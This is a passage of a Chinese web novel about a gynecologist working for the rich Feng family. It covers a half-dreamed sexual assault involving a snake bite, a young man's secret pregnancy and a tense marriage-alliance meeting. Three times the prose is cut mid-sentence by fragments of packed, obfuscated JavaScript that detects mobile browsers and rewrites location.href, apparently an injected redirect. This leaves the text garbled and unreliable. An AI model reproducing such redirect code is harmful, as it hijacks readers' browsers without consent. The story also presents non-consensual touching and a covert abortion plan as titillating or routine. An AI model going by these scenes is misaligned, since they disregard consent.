“医生,你好暖和,我很喜欢。” 巨蛇仿佛朝他吐出红艳艳的蛇信子。 郁瑟用手去推,无奈双臂因为梦魇变得无力、疲软,但是手掌依照本能,握住了一根东西。 ......好像是一根巨无霸牌冰棍。 8. 第 8 章 触感绵凉,但是从内部又凸出脉络分明的青筋,剑拔弩张得膨胀至耸人听闻的程度,好似能无限渗透出寒森森的冷兵器质感。 郁瑟梦魇里觉得慌乱,毕竟他可没有这种“爱不释手”的兴趣。 直到他移开手指,紧接着又碰触到了另外一个上。 相同到完美无缺,一摸一样的程度! 双雕!!! 郁瑟昏沉中觉得自己肯定是见鬼了,但凡有点生物学常识的人的都知道。 人体器.官多数以成双成对的形式出现,例如双眸、双眉、双耳,双肾,但是以单个形式出现的器官则在数量上表现得更多。 例如心肝脾肺,还有......男人的生命之树。 现在他的手居然碰触到了如此逆人类生长的东西。 假如只有一个的话,郁瑟也便收手了,可当发现有两个的时候,郁瑟身为医生的研究之魂瞬间觉醒。 摸摸,再摸摸。 贴近身边的人旋即发出低低地嗤笑,贴近耳畔吐露出鲜红的舌尖,“郁医生,做人太贪心可不行啊。”随即蜻蜓点水似的舔了耳垂一下。 “但还是很可爱。” 只这一声调笑过后,盘缠在郁瑟胸前的蛇似乎收到了某种指使,张开蛇口瞄准郁瑟的颈侧,猛地咬了一口。 痛! 真的非常痛! 被锋利的蛇牙划破皮肤,又刺穿肌肉的剧痛感,令郁瑟禁不住弓起腰肢,紧绷的衬衫因为此刻的挣扎,衣扣竟然崩开两颗,露出底下光白的肌肤,胸前像是一株勃然生机的梅树,纷纷绽放出诱人的淡粉色花瓣,绚烂成一片,连锁骨也染得分外性感。 “先给你打个小小的烙印,剩余的来日方长。” 贴近的男人愈发耽溺于郁瑟不断扭动的抗拒姿势,没有进行更为过分的举动,而是张口含住蛇牙咬过的地方,将小而深邃的牙孔慢悠悠地舔舐干净,如同发现泉眼的饥渴小兽。 郁瑟这下更难苏醒过来了,被蛇咬过的地方刚开始是痛极了的,然而没一阵功夫,在男人口水的洇湿中,覆盖而来的是一种难以描摹的燥热与混乱。 极致的痛感与愉悦互相纠缠,在郁瑟的身体里彼此争斗,此消彼长。 余韵绵长。 手机的闹铃声被设定成早晨的6:30,是郁瑟最喜欢的一首英文歌曲。 这次郁瑟顺利地睁开眼睛,清晰地辨认出,自己依旧躺在枫家的某个未知名的房间内,屋里的陈设低调且奢华,几张红木桌放置在窗边,桌面摆放精致的铜制艺术花瓶,里面缀满淡雅的室内花艺。 阳光透过半掩的窗帘,斑驳地洒在房间的每个角落,给这静谧的空间增添了几分清冷。 冷。 郁瑟现在完全无法在直视这个字眼,从白大褂的口袋内取出一张纸巾擦了擦右手手掌。 一系列的动作扯动他的脖颈,发现除了轻微的胀痛,并无大碍,回想起昨晚的遭遇,郁瑟心中不禁涌起一股难以言喻的复杂情绪。 不是梦,绝对不是在做梦。 郁瑟用擦干净的手指尖微微触了下脖颈的痛处。 果然,蛇牙留下的痕迹清晰而明显。 昨天绝对是有蛇咬他来着,他被动物偷袭了。 只是那像蛇又像人的生物体...... 两根..... 医生全都是坚定的唯物主义战士,郁瑟心中反复默念着这句话,试图从中找到一丝理智的慰藉,并告诉自己不要再被数量影响。 他认真检查了自己的衬衫和西装裤,除了被压皱之外,并没有特别异常的痕迹。 嗯。 如果连科学都无法解释的现象,普通人又何必再费心探究呢? 郁瑟稍微平复了一下情绪,起身整理衣服上的褶皱,昂首阔步离开困扰他一整夜的陌生房间。 沿着原路返回了一段路程,郁瑟与匆匆走来的金管家恰巧相逢。 金管家不无讶异问,“郁医生,你怎么来得这样早?我记得约定好的时间是下午三点。” 而且,郁瑟走来的方向很不妙,居然是家主枫音尘的宅邸。 之前说过的,枫家的建筑错综复杂,几代人的财富累积,造就了这迷宫般的宅邸。 郁瑟条件反射用手抚摸了一下衣领最上端那一颗紧紧系住的纽扣,无意间扯痛了伤口,不好意思道,“我昨晚迷路了。” “迷路了?!”金管家的脸色瞬间变得凝重起来,偷偷环顾四周,压低声音道:“郁医生,这里可不是随意走动的地方,尤其是夜间。家主对宅邸的私密性非常重视,希望你昨晚没有遇到什么不必要的麻烦。” 重点词:昨晚。 郁瑟微咳一声,“请放心,我昨天没有遇见任何麻烦。不过我在小会客室内休息时,不小心睡着了,假如家主很忌讳的话,我也愿意扣除一部分酬劳,作为冒昧打扰的赔偿费用。” 金管家瞧他衣冠楚楚,言辞淡雅真诚,似乎真的毫不知情,心中的疑虑这才消散几分,“郁医生言重了,你是我们枫家的贵客,怎会有扣除酬劳一说。” “归根究底,昨天属于特殊情况,否则也不会让你在宅邸里发生迷路的意外。” 话说间,金管家对郁瑟做出邀请的动作,谈话中将人引出家主枫音尘的生活区域,慢慢往另外一边引导。 还偷摸地提起门把手,锁住两座建筑之间的通道。 郁瑟看懂不说破,而是问,“不知道昨天的伊尔曼找到了吗?” “其实我有点好奇,伊尔曼是也家中邀请的贵客吗?” “不,伊尔曼并非客人,也不是枫家的家族成员。” 金管家可能觉得这也不算什么天大的秘密,何况郁瑟往后还要与枫家来往,直接说,“其实你应该见过的,是家主养的一条美人蛇。” 就是枫音尘脖颈间挂着的小黑蛇,朝他吐出粉舌头的那条。 郁瑟的血液稍微有点凝固之感,其实他昨晚梦魇时已经半昏半醒了,只是对方不知道而已。 所以,其实。 昨晚放蛇咬他的人,还有光着身躯压住他的人......那个如真似假的两个雕男..... 咳咳咳!!! 实际上是枫音尘?!! 郁瑟断然无法接受这个判断,毕竟枫音尘长得太美,浓丽鲜艳得不似凡人,如同画中走出的人物,一举一动都透着高雅与矜贵,怎么可能做出那般粗鲁又狂野的事情? 他试图说服自己,这不过是一场误会,一场因梦境与现实交错而产生的错觉。 然而,回想起昨晚蛇信子轻舔脖颈的触感,以及那重物压身的真实感,郁瑟的心便不由自主地颤抖起来。 他不敢深想,也不愿相信那个貌美如仙、清冷如月的枫音尘,竟会是夜色中对他肆意妄为的人。 “不,不可能的……我们又不熟,才刚见过区区一面而已。”郁瑟喃喃自语,试图用言语来驱散心中的惊讶,“对了,我记得你之前不是说过,家主有什么特殊癖好......” 郁瑟准备打破砂锅问到底。 金管家神色一凛,朝他嘘声说,“前面是饭厅,家主和少爷们正在享用早餐。” 也没有准备绕行的打算,直接将饭厅的红木雕花门打开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099325|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郁瑟和金管家一同踏入饭厅,门轴转动的细微声响在宁静的早晨显得格外清晰。 饭厅内布置着一张长方形餐桌,其他两位少爷坐在左右两侧,而枫音尘端坐在主位,一身墨玉色的真丝睡袍难掩其超凡脱俗的气质,脖颈修长如同骄傲的天鹅,碧玉色的眸子疏离冷漠,仿佛在玉瓶间镶嵌得两颗寒冰。 白璧无瑕的一个美人,此刻正将一块血淋淋的牛肉喂进肩膀盘踞的黑蛇口中。 郁瑟依旧被他的美貌深深吸引,即使知道正对面的家伙有可能是昨晚骚扰自己的恶徒。 金管家走到家主面前请示着,“大少爷给三少爷请的家庭医生到了。” 很好。 这下可以直接上班了。 郁瑟抬手轻轻碰触了一下发痛发胀的脖颈,这个无意识动作,立刻引起枫音尘的注意。 枫音尘对一旁无声用餐的枫澄言道,“你什么时候变成没用的废物了?” 枫澄的手立刻攥得极紧,仿佛随时准备应对一场风暴。他低垂着头,隐忍着内心的愤怒与不甘,那双眼眸中闪烁出复杂的情绪,既有对家主权威的畏惧,也有对自己无能为力的自责。 第一次见面的二少爷枫羽忍不住替大哥辩解,“小叔,大哥为了解决这件事情已经连续一个月没有睡过安稳觉了。” 是知乐自己不肯多说一个字! “好了。”枫澄及时出声阻止二弟的反驳,“我已经想到解决问题的方法,一切只是时间的问题。” 他说得很谨慎,无论此刻有多么不甘与气恼,面对家主的责难,依旧低声解释,“小叔,还请你再多宽限几天,跟知乐一起出去玩的那几个朋友,我已经逐一开始处理了。” 枫音尘用沾血的雪白指尖碰触着小黑蛇的头颅,并不为所动道,“澄儿,这只是一件区区的小事,对吧?” 郁瑟在一旁看得心惊胆战,主要是枫音尘这话不阴不阳,意味不明。 枫澄是一个雷厉风行的人,同样也是三兄弟中的大哥。 在三弟枫知乐一夜未归,有可能被人陷害,甚至有可能怀上未知名陌生人的孩子,这完全是家族丑闻,更是枫知乐的人生污点。 作为大哥,枫澄有推卸不掉的责任。 他监管不利,他未能保护好弟弟,让枫知乐陷入如此险境。 此刻的他,内心充满了自责与焦虑。 枫澄紧握着拳头,指节因用力而泛白,“我会把这件事做得完美无缺的。” 二少爷枫羽跟他的岁数相差不多,比起年仅19岁的枫知乐,两人的 关系更为亲近。 枫羽自幼便聪慧过人,与枫知乐性格迥异,他懂得察言观色,更擅长揣摩人心。在家族中,枫羽一直是个低调的存在,不像枫知乐那般活泼开朗,也不像枫澄那般严肃。 他知道大哥因为没有按照家主的预期处理好事情,已经狠狠挨了一顿皮鞭。 禁不住帮着大哥解释。 枫澄目光坚定,摇了摇头,示意枫羽无需多说。 尤其,现在在场的人里,还有一个外人。 郁瑟立刻感受到自己这个大外人的尴尬处境,不由主动开口道,“三少爷那边还等着我,我现在去看看他的情况。” 言罢,转身大步离开,待关上屋门的刹那,加快步伐小跑了起来。 他不知道,枫音尘的视线一直追在后面,直到门缝紧紧闭合,才像被迫扯断的蛛丝,收敛回来。 面无表情道,“行吧。”言下之意是再给枫澄一次机会。 又道,“这个家庭医生看起来挺不错的,跟他改签长期合约吧。” 9. 第 9 章 郁瑟先去了一趟洗手间,身为医生的他有轻微洁癖,即使身处并不怎么方便的枫家,也需要先清理一下仪容。 他的体毛稀疏,面颊间的胡苒更是少之又少,唯独头发与睫毛足够浓密,若是身为女性的话,一定会被闺蜜狂夸真会长毛。 洗过脸,漱过口之后,郁瑟才肯去见被困在屋子里的三少爷枫知乐。 枫知乐看见他后的情绪很高涨,觉得这个医生很够意思七点钟就登门看诊了,是个值得依靠的对象。 其实最主要是由郁瑟天然的可亲力在冥冥中引导。 没有人会不喜欢他。 郁瑟很诚恳地致歉,说了事情的真相:自己没能顺利从这迷宫一般的大宅子里走出去,所以晚上只能在未知名房间内将就了一夜。 枫知乐听后哈哈大笑,这可能是他犯错后,直至被关押期间笑得最开心的一次。 “这是真的,我完全可以理解。”枫知乐带着未曾入世的天然纯真,仿佛能看透世间万物的本质,却又不被其污染。他的笑容如同灿烂的阳光,能够瞬间驱散人心中的阴霾。 “我小时候喜欢跟家佣在家里玩捉迷藏游戏,有一次我藏到了一个谁也找不到的地方,内心充满得意。” 枫知乐趴在床上,慢悠悠地甩动自己的两只脚丫子,使得裤管一高一低,露出白皙如雪的稚嫩肌肤。 郁瑟认真上药,并且耐心观察他的反应。 “结果你猜怎么着?”枫知乐完全沉淀在自己的世界中,“家佣急疯了似的找了我两天,大哥的咆哮声快把房子隔音板震碎,连二哥也第一次失去绅士风度,后来我实在饿得不行了,才爬出来喊他们的名字。” 郁瑟笑他归根究底是个长不大的孩子,枫知乐转眼改了颜色,一脸的丧气十足,“早知道我真的失踪就好了。” “我大哥二哥都比我大十几岁,我们之间的代沟已经完全能称得上是鸿沟了。” “他们俩才像是真正的亲兄弟,只有我!我是这个家的耻辱!” “每次家庭聚会,他们俩谈笑风生,话题高深莫测,而我总是插不上话,只能在一旁尴尬地微笑。” “在他们眼中,我大概只是个不懂事的孩子,是父母恩爱不小心弄出来的意外!” 枫知乐狠狠地捶打了一把床沿,“所以我才总跟那些人玩,只有那些人把我当作一个真正的朋友!” “他们懂我,理解我,不会总拿我当小孩子看!虽然我知道跟他们混在一起没什么好处,甚至会让大哥二哥们失望,可我真的受够了在家里被忽视的感觉!”枫知乐的情绪有些激动,眼眶微微泛红,显然这些话已经憋在他心里很久了。 孩子之间年龄差距太大确实很有问题,尤其父母双亲不在其中做出平衡,更是深埋隐患。 郁瑟道,“你是觉得,跟你一起出去玩的那些朋友,比你的亲大哥二哥更加值得信赖?” “唔。”枫知乐被堵得死死的。 郁瑟又问,“你们出去玩,结果只有你自己出了问题,那当时陪着你的那些人呢?他们当时帮助你解围了吗?又有没有安全送你回家?” 枫知乐沉默了片刻,似乎是在回想那些所谓的朋友在关键时刻的表现,然后缓缓摇了摇头,“没有,那天很混乱,等我醒来时,他们早丢下我走了。” “你看,”郁瑟轻叹一声,“关键时刻,还是你的亲人会担心你,会不顾一切地去寻找你,去保护你。那些所谓的朋友,在你需要的时候,往往跑得比谁都快。” 郁瑟掏出自己的手机,“我觉得你向我借用手机,八成是还想再联系一下外面那些朋友。” “给你。” 郁瑟的话语循循善诱,“不过我也可以跟你打个赌,那些人绝对不会接你的电话,即使你用的是我的电话号码。” 枫知乐半信半疑地接过手机,手指在屏幕上轻轻划动,最终还是按下了其中一个最为熟悉的号码。 等待接通的时间里,空气中似乎弥漫着一股微妙的紧张感。 然而,正如郁瑟所预言的那样,电话那头传来的只有冰冷的忙音,无人接听。 果然,他被抛弃了!! 枫知乐的眼泪瞬间流出眼眶,高声痛苦道,“这个世界根本没有人真的爱我!连他也是在骗我!!” 哦,“他”。 郁瑟捕捉碎片信息的能力很强,依照枫家人的说一半藏一半,枫知乐的断断续续。 大致可以做出如下推断:一群刚高中毕业的小屁孩自以为天高地厚,深夜买醉,结果期间发生了某种不为人知的事情。 枫三少一定误以为,晚上跟他肌肤相亲的那个人,是自己心有所属的那一个。 所以才死死咬紧牙关不松口,既不愿意跟哥哥们讲实话,又不愿意出卖心上人。 现在的小孩儿真是让人摸不准脉搏,郁瑟无奈地摇了摇头,眼前的枫知乐正是一个活生生的例子。 看着枫知乐还在那里抽泣,郁瑟轻咳一声,试图转移话题,“好了,别哭了。事情已经发生了,再哭也解决不了问题。你现在打算怎么办?” 枫知乐连续拨打几十遍电话,回应他的只有冷冰冰的无人接听。 想来也是肯定的。 郁瑟刚才听见枫澄说,把跟枫知乐一起出门的家伙全部处理干净了。 所以,无论枫知乐怎么打电话,肯定是“了无音信”,搞不好以后都要“查无此人”了。 没办法,狗血小说嘛。 郁瑟本打算再哄哄伤心欲绝的小少爷。 枫知乐突然捂住小腹,轻声哼哼道,“好痛,医生,为什么我的肚子好痛啊?” “这......” 郁瑟的神色凝重,果然如他所想,这个世界上最不应该发生的事情,到底是发生了。 所以说,狗血文里的男孩子出门一定要保护好自己啊。 郁瑟扶着他躺下,用专业的产科手法帮他做了腹部推拿,小心翼翼地问:“你现在感觉好一点了吗?如果还是不行,我们马上去医院。” 枫知乐脸色稍显苍白,微微摇了摇头:“不用了,应该只是早餐吃坏了肚子,休息一下就好。” 郁瑟心知肚明,自己拿对方做了一点小实验,于是,他选择沉默,守在枫知乐身边,帮助枫家的傻少爷继续推拿。 一个小时后,郁瑟顺利从卧房出来,找到金管家点头道,“嗯。” 金管家三张和尚摸不到头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099326|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑,直到他看出郁瑟的态度深沉,这才慌张得要死,跌跌撞撞领在前面,带着医生去拦住了正要出门的枫澄。 枫澄每天都要按时去公司报道,而枫音尘则不用。 为了避开家主的耳朵,郁瑟直接坐上枫澄的汽车,直到车舱的内的隔板被彻底关闭后。 郁瑟才沉痛道,“不必带三少爷去医院做体检,我稍微用了点手法,又刺激了他一下。” “他产生疼痛的地方明显是小腹,按照大少爷你提供的时间,至今已经一个多月了,应该是不幸的那个选项。” 一句话,直接烧红了枫澄的眼眸,郁瑟见过不少病患的眼神,绝望的、挣扎的、喜悦的、充满希翼的。 剧烈的恨意与彻骨的懊丧互相叠加,令人备受摧残。 枫澄紧握的拳头在颤抖,他从未如此恨过自己,恨自己的疏忽大意,恨自己为何没有多关心弟弟的交友问题。 他闭上眼睛,深吸一口气,试图平复内心的波涛汹涌,但那股恨意与懊丧如同野火燎原,难以遏制。 “郁医生,你确定吗?”枫澄的声音低沉而沙哑,每一个字都像是从喉咙深处挤出来的。 郁瑟沉重地点了点头,他理解枫澄的痛苦,作为医生,他见过太多因忽视而遗憾终生的案例。 尤其这一次,发生在一个19岁的男生身上,那份沉重感更加难以言喻。 车内陷入了短暂的沉默,只有枫澄粗重的呼吸声在回荡。他睁开眼睛,眼眸中闪烁着决绝的光芒,仿佛下定了某种决心。 “平常跟知乐关系好的狐朋狗友,我已经处理的差不多了。”枫澄的声音分外坚定,他已经从痛苦中找到了方向,他要为弟弟讨回公道,无论付出多大的代价。 “医生你这边有什么办法,帮知乐拿掉孩子,最好还是在他不知情的情况下进行。” 郁瑟能立刻给出的方案是:高强度跳跳绳、骑马、马拉松,大碗喝藏红花。 开玩笑的。 郁瑟:“其实不瞒你说,大少爷,我是第一次接手为男性引产的案例,尤其三少爷还小,万一操作不当,会不会引发什么不可预知的后果,谁也说不好。” 枫澄似乎下定了某种决心,毅然决然着,“难道,让他把孩子生下来,除了饱受非议之外,还要一辈子活在不知道孩子父亲是谁的阴影里?” 他不能允许这样的事情发生!! 其实郁瑟没敢说,枫知乐都不知道自己能怀,要是孩子知道了,恐怕得吓出个精神好歹来。 车舱内的空气陷入某种凝滞状态,令两人都深感窒息。 枫澄的电话却意外响起,郁瑟准备下车避开。 枫澄似乎没怎么打算拿他当作外人,最主要是签订了保密协议之后,郁瑟的嘴巴就属于枫家的了。 这一通电话接得时间不长,但枫澄的眉头皱得越来越紧。 郁瑟无意间听到电话里的声音,似乎来自于枫音尘的。 枫音尘道,“你平常有跟萧家人往来吗?” “萧家不知道抽什么疯,提出要跟枫家联姻。” “你们兄弟三个派谁去?” “人家指名要请你们兄弟三人吃饭,否则要给枫家好看。” 10.第 10 章 郁瑟隐约听到一个萧字,虽说在全龙城内隐藏着各种各样的豪门势力,但是能扯到熟悉的姓氏。 郁瑟第一个想到的是萧凛。 不过萧凛已经有嗷嗷代孕的小娇夫,恐怕不是这个人。 坐在一旁的枫澄眸色深沉,禁不住问道,“敢问小叔叔,是萧家的哪一位?” 说话居然如此放肆,目中无人已经到了这样的地步,居然敢把鼎鼎有名的枫家当作联姻菜市场,随便由着姓萧的来挑选?! 枫音尘的语气听不出究竟是什么情绪,反正他一直喜欢讲话尖酸刻薄,再好听的话说起来也是一番辛辣的滋味。 他道,“是萧家的家主萧君耀。” 这个名字一出,整个包间内的气氛瞬间凝固。 萧均耀——萧家现任的家主。 萧君耀这个名字可不简单,那算是在全龙城都响当当的人物,手握重权,财富更是无法估量。 确实比枫家有过之而无不及。 郁瑟见枫澄沉默了一瞬,立刻猜想到萧家的家主应该是个厉害角色。 不禁有点后悔,自己当初预判错误了,早知道萧凛的小叔如此厉害,当时直接求萧凛帮忙了。 现在连长期合作的合同也签好了,现在想要反悔,恐怕为时已晚。 枫音尘打破沉默道,“郁医生在不在你身边?” 枫澄回复,“在。” 与郁瑟眼神互相交接的刹那,像是在思考对方为什么忽然提到郁瑟的名字。 对于这个家来讲,郁瑟只是一个表面上的家庭医生,跟家里请的特级厨师、健身教练一样。 枫音尘道,“萧家的事情我会看着处理,你把郁瑟叫回来。” 挂掉电话,枫澄道,“小叔从来不是一个主动的人,你待会儿过去,应该知道自己怎么说话吧?” 郁瑟回复,“三少爷怀孕的事情,我会严格保密,绝对不会被试探出来的。” 枫澄点头,放他下车后乘车离去。 郁瑟站在原地垫了垫手中的医疗箱,心说豪门工作确实琐碎,不过为了白梵的藏身问题,以及医院找到新的靠山,还有他能继续搞临床研究,一切都可以忍受。 郁瑟这次学精了,向金管家要了一份宅邸的路线图,熟记于心并且保证自己不会再迷路后,才快速地往家主单独的建筑走去。 很明显,枫音尘喜欢的室内建筑风格要更为奢华。 毕竟美人配美景,奢华的建筑风格更能衬托出枫音尘那不凡的气质与高雅的品味。 郁瑟准确地敲响了枫音尘的卧房门,只听得对方很快应了一声。 “怎么这么慢。” 不是询问的语气,但也说不上责难。 郁瑟一边推门,一边低眉顺目地走进去,淡淡解释,“我先熟悉了一下宅子的路线图,避免再次迷路。” 郁瑟故意提到“再次”二字,是为了暗中敲打对方。 昨夜的事情我可没有糊涂到会以为是梦境。 郁瑟本能地攥了攥手心,那种冷冰冰的凶器刺激手心的感触,鲜明到难以忘记的程度。 尤其还是两根。 对了,郁瑟心里反驳,你还放蛇咬了我的脖颈。 不过他的神态淡淡的,绝对看不出任何端倪,包括他的腹诽。 枫音尘的声音像是在远处,带着少有的慵懒道,“确实,这个家的蠢货实在太多了,多一点像郁医生这样的聪明人来工作,确实会令人情绪平和一点。” 什么? 他居然不是在回答我,而是在夸我?! 郁瑟狐疑着抬头,却见枫音尘依旧穿着早晨那件墨绿色睡袍,站在首饰柜前挑选腕表。 比起早晨惊为天人的容颜,其实枫音尘的后背更加完美,紧窄的腰身将身材分割成完美地黄金比例,尤其是屁股挺翘,与腰线形成一道绮丽的景色。 纵使郁瑟是一个清心寡欲的医生,而且从来没有产生过任何身体上的欲望,此时此刻也禁不住感慨一声。 ——这屁股好欠打! 更叫郁瑟惊讶的是,枫音尘居然比他高?! 几次见到面前这个绝色美人,郁瑟完全被对方完美无缺的面容吸引,居然一点儿都没发现,对方的身量比自己高一个头。 若是其他人长着一张美人脸,又长着一副长身,恐怕会异常不和谐。 但是这两种条件融合在枫音尘身上,完全得到了升华,如同天作之合,让人挑不出一丝错处。 郁瑟默默在心里再次给枫音尘的外貌打了满分,如果不算那两根恐怖的丁丁的话。 枫音尘就是郁瑟海中月,心上人的最佳人选了。 郁瑟强装镇定道,“请问枫先生是哪里不舒服,需要我来帮你看一眼吗?” 枫音尘挑选好一块翡翠玉的腕表,恰好与他的绿眸交相辉映,言道,“我今天想去跟萧家的家主见个面,谈一下联姻的事情,有医生在场比较好。” 言罢,也没有特意看向郁瑟,而是将手往床上一伸,盘缠在床榻间的小黑蛇懒洋洋地攀上他的手臂。 若是一只小狗狗,或者一只波斯猫,恐怕郁瑟还更喜欢一点。 只要想起这条蛇跟随它的主人,一个压在身上,一个咬住他的脖颈。 郁瑟便喜欢不起来。 而且,郁瑟十分弄不懂,枫萧两家见面谈论联姻的事情,为什么需要他这个医生在场? 难道是怕打起来? 应该不会的,毕竟都是体面人。 正胡思乱想之际,枫音尘已经穿好白色三件套定制西装,风姿翩翩的走到郁瑟面前,煽动着翠绿的眼眸,一脸艳笑道,“久等了,郁医生,我们走吧。” 郁瑟被他突然放大的脸蛋和笑容迷住,属于从来没吃过肉食的旅人,突然面前摆了一桌满汉全席般震撼。 郁瑟觉得这是他惯用的陷阱——恃美行凶,下意识往后退了半步,礼节道,“言重,枫先生请。” 枫音尘便不再强人所难,只是淡淡扫了一眼被郁瑟紧紧包裹在衬衫领口内的蛇牙印,伸出手指摸了摸小黑蛇的头部,率先走出门前。 郁瑟小声警告自己不要再迷恋于外表,要更注重分寸,所以在乘车的过程中,也是坐在副驾驶位置,没有跟枫音尘同座后车舱。 乘车期间,枫音尘选择闭目养神,他的心爱小蛇也不淘气,规规矩矩得将头部紧贴在主人的面颊侧。 有种诡异地相依为命感。 郁瑟从倒视镜看到了这幅——美人与蛇共眠的奇异画面。 再次感慨,人长得漂亮就是好处多,抱着树枝睡觉可称作美人春睡,抱着蛇也能被赞为与灵物共舞,世间美好似乎总是对美人格外宽容。 车乘两小时左右,终于来到了与萧家约定好的添昇楼。 郁瑟准备下车给美人开车门,毕竟以后决定抱这家大腿了,还是需要人勤嘴巧。 看似睡着的枫音尘忽然开口淡道,“郁医生,你只负责跟着我。” 司机闻言立刻起身,先将郁瑟的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101949|163770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门打开,用手小心护住医生,又赶紧去给家主开门。 郁瑟想想也是,假如说枫音尘是皇帝的话,那他目前的身份便是御医,虽然也是伺候人的,但不能抢太监的活儿。 枫音尘出门极少带保镖,所以郁瑟感觉挺轻松,提着医药箱便跟在身后,虎步狼伐地走进酒楼之内。 萧家的人也算低调,除了门口安排的两个保镖之外,也没有带太多的人过来。 枫音尘被恭敬地邀请进入天字号雅间,巨大的餐桌前坐着两人。 一个是郁瑟的熟人萧凛,而另外一个则是萧家幕后的实际掌权者——萧君耀。 郁瑟私以为萧凛的长相俊朗大气,直到看到他的长辈萧君耀,更是浓眉大眼的成熟帅哥,一脸的正气凛然,绝对是严肃认真,性格刚毅的类型。 萧君耀与枫音尘两人长相截然不同,但都有一种上位者的气势,让人不容忽视。 萧凛看见郁瑟的瞬间,郁瑟朝他露出一抹微笑,反应很快,意思是自己现在正在工作,请见谅。 萧凛也是混生意场的,没有必要主动跟对方打招呼,来证明跟一个区区医生很熟。 何况郁瑟跟着枫音尘进门,冥冥中也存在着某种好处。 萧凛作为四个人中的小辈,主动朝自己家的小叔介绍道,“这位是恒基交控工程有限公司的董事长,枫音尘先生。” 交控公司?!!! 郁瑟被这四个字直接震撼了,这代表龙城内外干线高速公路、过江桥梁、铁路等交通基础设施的投资建设及运营管理,全部由枫家所掌控。 郁瑟想想走过的路缴的过路费,搭过的地铁缴的地铁费,有一部分最终回流到枫家的恒基集团,瞬间感觉自己伺候的即使不是真皇帝,也是个货真价实的土皇帝啊! 被萧凛简单做了引荐之后,端正坐着的萧君耀似乎不为所动,而是朝侄子淡淡道,“你先出去吧,我自己跟枫先生谈这件事。” 言下之意,郁瑟也不能留下。 于是郁瑟提着药箱子跟着萧凛一起走出房间,还关住了门。 郁瑟这才主动向金主问好说,“小夫人的八月份的产检到了,需要我今晚登门拜访吗?” 萧凛的心思似乎被拴在屋子里,等彻底听到郁瑟的话,恍然应了一声说,“啊?哦。” “岩岩的产检。” 萧凛似乎很关心萧君耀的联姻问题,他的眼神不自觉地透过紧闭的房门,仿佛能穿透那层木质的阻碍,看到屋内的枫音尘与正襟危坐萧君耀。 郁瑟大抵上也能理解这种紧张感。 豪门之间的利益错综复杂,多生一个继承人,对于股权的分配和权利的划分都有着微妙的影响。 只是萧君耀谁都不选,而是直接找枫家联姻,众所周知,枫家的三个少爷都是男的。 ...... 不对,这个狗血世界里男性也能怀孕,尤其三少爷枫知乐已经有情况了...... 难道!! 郁瑟的心无端得砰砰跃动。 难道说.....萧君耀也有可能会看上枫音尘?!! 不知这是一种什么样的感觉,虽然觉得这两人强强联手也很好。 郁瑟终究心底空落落的。 直到厚重的包厢门打开,走出了一脸闲适的枫音尘。 郁瑟凝视着他的脸,很平静,很淡然。 然后很毒舌地对郁瑟说了一句,“你的医疗箱准备速效救心丸了吗?里面那位可能需要吃一点。” 11.第 11 章 好吧,根本不用对殴。 只要枫音尘第一招祭出毒嘴,恐怕其他人都要甘拜下风。他那言辞犀利,句句切中要害的毒舌功夫,简直无人能敌。 郁瑟终于明白为什么对方出门要带上自己,只要有医生在场,枫音尘的毒舌就不会造成无法挽回的后果。 毕竟,再锋利的言辞也无法穿透医学的防护。郁瑟默默替萧君耀点蜡,毕竟自己只是一个妇产科医生。 萧凛率先冲进包间,火急火燎地瞪了枫音尘一眼,大开的门沿能看到萧君耀并没有被激气到趴在地上。 不过面色不虞,人用一只宽大的手掌支撑住桌面,眉头紧锁,眼神中透露出几分不悦与愤恨。 郁瑟简直怀疑能将如此肃穆端庄的人给气成这副模样,枫音尘绝对提议了要将灵车车道修到对方门口去。 赶紧放下医疗箱,从里面掏出一瓶丹参滴丸,递给萧君耀,被萧凛直接推开。 萧凛气愤道,“我们萧家是带着十二万分的诚意来跟枫家谈联姻的,如今看来也没这个必要了!” 萧君耀气愤归气愤,但并未示意要彻底将这件婚事闹僵,直到萧凛从嘴里崩出那句断绝一切的话。 原本不打算吃丹参滴丸的萧君耀,伸出手将郁瑟托在掌心的几枚小药丸取走,嚼豆子似地咽入口内,眼神立刻转为幽幽的暗沉。 ——真是他的好侄子。 枫音尘想要达到的效果已经完成,毕竟枫家人的祖训是有仇必报。 萧家从最开始的态度上便轻慢于枫家,枫音尘作为枫家最核心的灵魂人物,不可能不做出反击。 也不在乎萧凛这个区区小辈的责难,用手指抚摸了一下肩膀的伊斯曼,轻笑着言道,“希望萧家永远记得这句话,否则,后果自负!” 枫音尘的声音虽轻,却带着不容置疑的威胁,仿佛一阵寒风,让人不禁打了个寒颤。 郁瑟原本觉得他美颜不可方物,此时此刻,却也觉得美丽与危险之间,确实很容易划伤等号。 